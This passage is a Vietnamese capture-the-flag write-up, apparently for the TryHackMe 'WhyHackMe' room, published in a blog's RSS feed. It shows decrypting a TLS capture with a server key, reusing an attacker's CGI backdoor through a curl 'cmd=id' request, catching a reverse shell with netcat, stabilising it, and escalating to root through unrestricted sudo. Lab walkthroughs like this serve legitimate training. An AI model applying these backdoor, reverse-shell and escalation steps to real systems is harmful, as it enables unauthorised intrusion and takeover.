&lt;p&gt;Tại đây người dùng này có thể dùng &lt;code&gt;sudo&lt;/code&gt; đối với &lt;code&gt;iptables&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Kiểm tra sơ qua thì mình thấy ngay vấn đề ban đầu thắc mắc, các gói tin đi qua port &lt;code&gt;41312&lt;/code&gt; đều bị &lt;code&gt;DROP&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;jack@ubuntu:~$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       tcp  --  anywhere             anywhere             tcp dpt:41312  # [!code highlight:1]
ACCEPT     all  --  anywhere             anywhere            
ACCEPT     all  --  anywhere             anywhere             ctstate NEW,RELATED,ESTABLISHED
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:ssh
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:http
ACCEPT     icmp --  anywhere             anywhere             icmp echo-request
ACCEPT     icmp --  anywhere             anywhere             icmp echo-reply
DROP       all  --  anywhere             anywhere            

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mình chuyển trạng thái lại từ &lt;code&gt;DROP&lt;/code&gt; thành &lt;code&gt;ACCEPT&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;File urgent.txt&lt;/h3&gt;
&lt;p&gt;Khi &lt;strong&gt;đi dạo&lt;/strong&gt; thì mình thấy trong thư mục &lt;code&gt;opt&lt;/code&gt; có 2 file như sau:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.wTpmBjRE_bGQHO.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;File &lt;code&gt;urgent.txt&lt;/code&gt; nói rằng họ bị &lt;em&gt;&lt;strong&gt;hack&lt;/strong&gt;&lt;/em&gt; và có một số file bên trong &lt;code&gt;/usr/bin/cgi-bin&lt;/code&gt; vàhọ không thể xóa nó dù ở quyền &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Khả năng đó là payload của kẻ tấn công và mình có thể tận dụng nó.&lt;/p&gt;
&lt;h3&gt;File capture.pcap&lt;/h3&gt;
&lt;p&gt;Mình sử dụng công cụ &lt;code&gt;Wireshark&lt;/code&gt; phân tích file &lt;code&gt;capture.pcap&lt;/code&gt; thì không nhận được thông tin gì vì các gói tin đã được mã hóa do dùng &lt;code&gt;TLS&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tìm trong cấu hình &lt;code&gt;Apache&lt;/code&gt; mình biết được key giải mã &lt;code&gt;apache.key&lt;/code&gt; ở &lt;code&gt;/etc/apache2/certs/&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;&amp;#x3C;VirtualHost *:41312&gt;
        ServerName www.example.com
        ServerAdmin webmaster@localhost
        #ErrorLog ${APACHE_LOG_DIR}/error.log
        #CustomLog ${APACHE_LOG_DIR}/access.log combined
        ErrorLog /dev/null
        SSLEngine on
        SSLCipherSuite AES256-SHA
        SSLProtocol -all +TLSv1.2
        SSLCertificateFile /etc/apache2/certs/apache-certificate.crt
        SSLCertificateKeyFile /etc/apache2/certs/apache.key  # [!code highlight:1]
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
        AddHandler cgi-script .cgi .py .pl
        DocumentRoot /usr/lib/cgi-bin/
        &amp;#x3C;Directory &quot;/usr/lib/cgi-bin&quot;&gt;
                AllowOverride All 
                Options +ExecCGI -Multiviews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all
        &amp;#x3C;/Directory&gt;
&amp;#x3C;/VirtualHost&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tải về và nhập key này vào giao thức &lt;code&gt;TLS&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/11.aFMg9SMz_ZjGTou.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Reverse shell&lt;/h3&gt;
&lt;p&gt;Các gói tin đã được giải mã và mình tìm được một stream như sau:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.BTqI7V_H_ZOAGip.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Kẻ tấn công đã sử dụng file &lt;code&gt;5UP3r53Cr37.py&lt;/code&gt; và một số parameter khác, trong đó có &lt;code&gt;cmd=id&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Kết quả trả về là kết quả của lệnh &lt;code&gt;id&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tận dụng điều này, mình gửi request tương tự như kẻ tấn công để xác nhận xem có khả thi hay không.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;curl -k -s &apos;https://10.201.82.126:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&amp;#x26;iv=VZukhsCo8TlTXORN&amp;#x26;cmd=id&apos;

&amp;#x3C;h2&gt;uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
&amp;#x3C;h2&gt;

# Tùy chọn -k: Cho phép thực hiện kết nối HTTPS mà không cần xác thực
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kết quả trả về cho thấy payload này hoàn toàn khả thi, mình thực hiện mở một &lt;code&gt;reverse shell&lt;/code&gt; và vào được tài khoản &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;nc -lvnp 7304
listening on [any] 7304 ...
connect to [10.17.67.204] from (UNKNOWN) [10.201.82.126] 52184
bash: cannot set terminal process group (903): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Có shell rồi, mình sử dụng kỹ thuật &lt;code&gt;Stabilizing&lt;/code&gt; để có thể tương tác shell linh hoạt hơn.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;┌──(CloseUrEyes㉿CtrlZet)-[~/workspace/tryhackme/challenges/whyhackme]
└─$ nc -lvnp 7304
listening on [any] 7304 ...
connect to [10.17.67.204] from (UNKNOWN) [10.201.82.126] 52184
bash: cannot set terminal process group (903): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$ python3 -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;);&apos;
&amp;#x3C;in$ python3 -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;);&apos;
www-data@ubuntu:/usr/lib/cgi-bin$ export TERM=xterm
export TERM=xterm
www-data@ubuntu:/usr/lib/cgi-bin$ ^Z
zsh: suspended  nc -lvnp 7304
                                                                                                                                                             
┌──(CloseUrEyes㉿CtrlZet)-[~/workspace/tryhackme/challenges/whyhackme]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 7304

www-data@ubuntu:/usr/lib/cgi-bin$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kiểm tra &lt;code&gt;sudo&lt;/code&gt; như khi nãy thì thấy rằng tài khoản &lt;code&gt;www-data&lt;/code&gt; có thể sử dụng lệnh &lt;code&gt;sudo&lt;/code&gt; cho tất cả mọi thứ.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;www-data@ubuntu:/usr/lib/cgi-bin$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: ALL
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Truy cập người dùng root và flag&lt;/h3&gt;
&lt;p&gt;Sử dụng &lt;code&gt;sudo su&lt;/code&gt; để chuyển sang tài khoản &lt;code&gt;root&lt;/code&gt;, sau đó truy cập vào thư mục &lt;code&gt;root&lt;/code&gt; sẽ có file chứa flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/13.Csm9HjTI_2sIcFK.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.DnCptV-4.png"/><enclosure url="/_astro/thumbnail.DnCptV-4.png"/></item></channel></rss>